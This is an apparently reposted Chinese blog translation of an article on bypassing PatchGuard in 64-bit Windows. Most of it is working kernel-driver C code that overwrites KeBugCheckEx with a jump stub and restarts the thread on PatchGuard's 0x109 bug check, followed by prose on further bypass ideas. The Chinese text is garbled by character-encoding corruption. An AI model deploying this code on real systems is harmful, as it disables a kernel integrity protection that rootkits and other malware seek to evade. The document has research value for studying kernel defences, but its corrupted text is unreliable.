extern VOID OrigKeBugCheckEx(
IN ULONG BugCheckCode,
IN ULONG_PTR BugCheckParameter1,
IN ULONG_PTR BugCheckParameter2,
IN ULONG_PTR BugCheckParameter3,
IN ULONG_PTR BugCheckParameter4);
extern VOID AdjustStackCallPointer(
IN ULONG_PTR NewStackPointer,
IN PVOID StartAddress,
IN PVOID Argument);
//
// mov eax, ptr
// jmp eax
//
static CHAR HookStub[] =
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0";
//
// The offset into the ETHREAD structure that holds the start routine.
//
static ULONG ThreadStartRoutineOffset = 0;
//
// The pointer into KeBugCheckEx after what has been overwritten by the hook.
//
PVOID OrigKeBugCheckExRestorePointer;
VOID KeBugCheckExHook(
IN ULONG BugCheckCode,
IN ULONG_PTR BugCheckParameter1,
IN ULONG_PTR BugCheckParameter2,
IN ULONG_PTR BugCheckParameter3,
IN ULONG_PTR BugCheckParameter4)
{
PUCHAR LockedAddress;
PCHAR ReturnAddress;
PMDL Mdl = NULL;
//
// Call the real KeBugCheckEx if this isn’t the bug check code we’re looking
// for.
//
if (BugCheckCode != 0x109)
{
DebugPrint(("Passing through bug check %.4x to %p.",
BugCheckCode,
OrigKeBugCheckEx));
OrigKeBugCheckEx(
BugCheckCode,
BugCheckParameter1,
BugCheckParameter2,
BugCheckParameter3,
BugCheckParameter4);
}
else
{
PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
PVOID StartRoutine = *(PVOID **)(CurrentThread + ThreadStartRoutineOffset);
PVOID StackPointer = IoGetInitialStack();
DebugPrint(("Restarting the current worker thread %p at %p (SP=%p, off=%lu).",
PsGetCurrentThread(),
StartRoutine,
StackPointer,
ThreadStartRoutineOffset));
//
// Shift the stack pointer back to its initial value and call the routine. We
// subtract eight to ensure that the stack is aligned properly as thread
// entry point routines would expect.
//
AdjustStackCallPointer((ULONG_PTR)StackPointer - 0x8,
StartRoutine,
NULL);
}
//
// In either case, we should never get here.
//
__debugbreak();
}
VOID DisablePatchProtectionSystemThreadRoutine(
IN PVOID Nothing)
{
UNICODE_STRING SymbolName;
NTSTATUS Status = STATUS_SUCCESS;
PUCHAR LockedAddress;
PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread();
PCHAR KeBugCheckExSymbol;
PMDL Mdl = NULL;
RtlInitUnicodeString(
&SymbolName,
L"KeBugCheckEx");
do
{
//
// Find the thread’s start routine offset.
//
for (ThreadStartRoutineOffset = 0;
ThreadStartRoutineOffset < 0x1000;
ThreadStartRoutineOffset += 4)
{
if (*(PVOID **)(CurrentThread +
ThreadStartRoutineOffset) == (PVOID)DisablePatchProtection2SystemThreadRoutine)
break;
}
DebugPrint(("Thread start routine offset is 0x%.4x.",
ThreadStartRoutineOffset));
//
// If we failed to find the start routine offset for some strange reason,
// then return not supported.
//
if (ThreadStartRoutineOffset >= 0x1000)
{
Status = STATUS_NOT_SUPPORTED;
break;
}
//
// Get the address of KeBugCheckEx.
//
if (!(KeBugCheckExSymbol = MmGetSystemRoutineAddress(&SymbolName)))
{
Status = STATUS_PROCEDURE_NOT_FOUND;
break;
}
//
// Calculate the restoration pointer.
//
OrigKeBugCheckExRestorePointer = (PVOID)(KeBugCheckExSymbol + 0xf);
//
// Create an initialize the MDL.
//
if (!(Mdl = MmCreateMdl(
NULL,
(PVOID)KeBugCheckExSymbol,
0xf)))
{
Status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
MmBuildMdlForNonPagedPool(
Mdl);
//
// Probe & Lock.
//
if (!(LockedAddress = (PUCHAR)MmMapLockedPages(
Mdl,
KernelMode)))
{
IoFreeMdl(
Mdl);
Status = STATUS_ACCESS_VIOLATION;
break;
}
//
// Set the aboslute address to our hook.
//
*(PULONG64)(HookStub + 0x2) = (ULONG64)KeBugCheckExHook;
DebugPrint(("Copying hook stub to %p from %p (Symbol %p).",
LockedAddress,
HookStub,
KeBugCheckExSymbol));
//
// Copy the relative jmp into the hook routine.
//
RtlCopyMemory(
LockedAddress,
HookStub,
0xf);
//
// Cleanup the MDL.
//
MmUnmapLockedPages(
LockedAddress,
Mdl);
IoFreeMdl(
Mdl);
} while (0);
}
//
// A pointer to KeBugCheckExHook
//
PVOID KeBugCheckExHookPointer = KeBugCheckExHook;
NTSTATUS DisablePatchProtection() {
OBJECT_ATTRIBUTES Attributes;
NTSTATUS Status;
HANDLE ThreadHandle = NULL;
InitializeObjectAttributes(
&Attributes,
NULL,
OBJ_KERNEL_HANDLE,
NULL,
NULL);
//
// Create the system worker thread so that we can automatically find the
// offset inside the ETHREAD structure to the thread’s start routine.
//
Status = PsCreateSystemThread(
&ThreadHandle,
THREAD_ALL_ACCESS,
&Attributes,
NULL,
NULL,
DisablePatchProtectionSystemThreadRoutine,
NULL);
if (ThreadHandle)
ZwClose(
ThreadHandle);
return Status;
}
該方法經(jīng)測(cè)試,可以有效繞過(guò)目前版本的PG。這個(gè)方法的優(yōu)點(diǎn)是其不依賴(lài)任何非導(dǎo)出的依存關(guān)系或標(biāo)識(shí)(un-exported dependencies或者signatures),在性能上是零損失的,因?yàn)閚t!KeBugCheckEx()函數(shù)從不會(huì)調(diào)用,除非系統(tǒng)崩潰了,并且其也不會(huì)受到競(jìng)爭(zhēng)條件的限制。唯一的缺點(diǎn)是期取決于系統(tǒng)工作線程的行為,以及在恢復(fù)線程的入口點(diǎn)后再執(zhí)行時(shí),如果傳入的是一個(gè)NULL context,這個(gè)安全性無(wú)法確認(rèn)。目前認(rèn)為是安全的。
要使這個(gè)方法失效,微軟要做幾件事:
第一,可能創(chuàng)建一個(gè)新的保護(hù)sub-context以存放nt!KeBugCheckEx()函數(shù)和其要調(diào)用的那個(gè)函數(shù)(應(yīng)該是異常處理函數(shù))的checksum。在微軟檢測(cè)到nt!KeBugCheckEx()函數(shù)被修改后,可能需要做一次hard reboot(冷啟動(dòng)?),且不調(diào)用任何外部函數(shù)。微軟要解決這個(gè)問(wèn)題的方法不多。然而,任何依賴(lài)調(diào)用地址確定的外部函數(shù)的方法都會(huì)給類(lèi)似本文的繞過(guò)技術(shù)以可乘之機(jī)~~~
第二,微軟可能在調(diào)用nt!KeBugCheckEx()函數(shù)前,采用某種有效的方法將線程結(jié)構(gòu)體中的某些字段清0。這可能會(huì)使得我們的方法失效,但其不能防止其它的方法,只是可能會(huì)費(fèi)點(diǎn)心思而已。不管怎么樣,都必須保證系統(tǒng)工作線程能回去正常處理隊(duì)列中的work items。
4.3.? ? ? ? 找出Timer(Finding the Timer)
這個(gè)方法是理論上的,還沒(méi)有測(cè)試過(guò)。這個(gè)方法就是利用一些啟發(fā)式算法來(lái)定位與PG相關(guān)聯(lián)的timer context。要設(shè)計(jì)這樣的算法,就需要知道設(shè)置timer DPC例程的方法:
第一,我們知道與DPC相關(guān)聯(lián)的DeferredRoutine()將指向以下三個(gè)函數(shù)中的一個(gè):nt!KiScanReadyQueues()、nt!ExpTimeRefreshDpcRoutine()、nt!ExpTimeZoneDpcRoutine()。不幸的是,這三個(gè)函數(shù)的地址無(wú)法直接確定,因?yàn)樗鼈儧](méi)有被導(dǎo)出。但不管怎樣,知道有這3個(gè)函數(shù),有沒(méi)有用,以后再說(shuō)。
第二,我們知道與DPC相關(guān)聯(lián)的DeferredContext將被設(shè)置成一個(gè)無(wú)效的指針。我們還知道在偏移timer結(jié)構(gòu)體起始位置0x88處存放的是一個(gè)0x1131(2個(gè)字節(jié))。通過(guò)大量的調(diào)查,還發(fā)現(xiàn)了其它一些與這個(gè)timer相關(guān)的信息(contextual references),這些足以識(shí)別出PG的timer了。
解決這個(gè)問(wèn)題的第一步是找到能夠枚舉timers的方法。在這種情況下,就需要分析timer list的這個(gè)未導(dǎo)出的地址,以便能夠枚舉出所有的活動(dòng)的timers。然而,要達(dá)到這個(gè)目的(枚舉出所有的活動(dòng)的timers),我們還有其它的間接方法,比如反匯編一些其涉及到的函數(shù)。只是這會(huì)有一個(gè)小小的問(wèn)題,就是依靠定位未導(dǎo)出符號(hào)(函數(shù)或變量)的地址的方法,可能會(huì)導(dǎo)致代碼不穩(wěn)定。
另外一個(gè)選擇(不依賴(lài)定位未導(dǎo)出符號(hào))可能就是找到一種方法,其可以找到可以被搜索的地址空間。當(dāng)然,搜索時(shí)是從nt!MmNonPagedPoolStart開(kāi)始(windows的非分頁(yè)池空間的常規(guī)區(qū)域是從此開(kāi)始的)。搜索的方法還是上面所介紹的啟發(fā)式匹配條件。給定一組正確的參數(shù)以進(jìn)行搜索,這似乎是可取的且能很確定地定位到timer結(jié)構(gòu)體。然而,這可能會(huì)遇到一個(gè)競(jìng)爭(zhēng)條件,在定位到timer的例程后,且在取消這個(gè)例程前,這個(gè)timer routine被分發(fā)執(zhí)行了,我們就不得不轉(zhuǎn)入等待狀態(tài)。要克服這個(gè)困難,進(jìn)行搜索操作的這個(gè)線程可能需要將IRQL提升到更高的級(jí)別上。當(dāng)然,在它執(zhí)行搜索的過(guò)程中,其可能禁用其它的處理器。
不管怎么樣,只要能定位到timer結(jié)構(gòu)體,要中止PG的驗(yàn)證函數(shù)和完全禁用PG,就跟調(diào)用nt!KeCancelTimer ()函數(shù)一樣簡(jiǎn)單了。如果可能,這種方法是最佳選擇,因?yàn)槠洳恍枰虼a補(bǔ)丁。
如果這種方法經(jīng)證明是行得通的,那么微軟可能采取以下兩個(gè)方法之一來(lái)防止這種方法:
第一,識(shí)別出驅(qū)動(dòng)搜索地址空間時(shí)所使用的匹配條件,且(微軟)認(rèn)為這種搜索方法是不安全的。這樣使用已存在的這些匹配參數(shù)來(lái)定位timer結(jié)構(gòu)體就不可能了。
第二,微軟可以改變引導(dǎo)PG驗(yàn)證函數(shù)執(zhí)行的機(jī)制,以致其不利于timer DPC例程。當(dāng)然,第一個(gè)方法更勝一籌。因?yàn)榈诙€(gè)方法要重新設(shè)計(jì)PG的一個(gè)很重要的機(jī)制已屬不易,更何況還要重新考慮用于隱藏PG驗(yàn)證階段的技術(shù)。
4.4.? ? ? ? 混合攔截(Hybrid Interception)
前面的方法都是阻止PG的驗(yàn)證程序執(zhí)行。前面所介紹的hook異常處理的方法我們可稱(chēng)之為事前方法(before-the-fact approach);hook nt!KeBugCheckEx()函數(shù)的方法我們可稱(chēng)之為事后方法(after-the-approach)。從理論上講,如果能有效結(jié)合以上這兩種方法,那么就可完全檢測(cè)PG驗(yàn)證程序的執(zhí)行了。
有一種可能的方法,就是hook nt!C_specific_handler ()函數(shù)。這個(gè)函數(shù)是導(dǎo)出的,如果這個(gè)函數(shù)可以被操作,對(duì)我們來(lái)說(shuō)就非常有用了。這個(gè)函數(shù)主要是為函數(shù)指定異常函數(shù)(exception handlers)。也就是說(shuō),PG是通過(guò)nt!C_specific_handler ()函數(shù)來(lái)將DeferredRoutine()指定為其DPC例程的異常函數(shù)的。那么我們Hook了這個(gè)函數(shù)后,我們就可以跟蹤異常信息并根據(jù)需要進(jìn)行過(guò)濾,以確定是否要運(yùn)行PG。
4.5.? ? ? ? 模擬熱補(bǔ)丁(Simulated Hot Patching)
這種方法,原文作者還沒(méi)研究,我這樣的菜鳥(niǎo)就飄過(guò)了~~~,有興趣的朋友可參看原文。
總結(jié)
飄過(guò),有興趣的朋友請(qǐng)參考原文~~~
參考
? ? ? ? 飄過(guò),有興趣的朋友請(qǐng)參考原文~~~(有幾個(gè)URL我沒(méi)能打開(kāi),悲催……)
- jpg改rar
轉(zhuǎn)載于:https://www.cnblogs.com/kuangke/p/9397515.html
總結(jié)
以上是生活随笔為你收集整理的Bypassing PatchGuard on Windows x64的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: CatBoost 模型中标称型特征转换成
- 下一篇: java信息管理系统总结_java实现科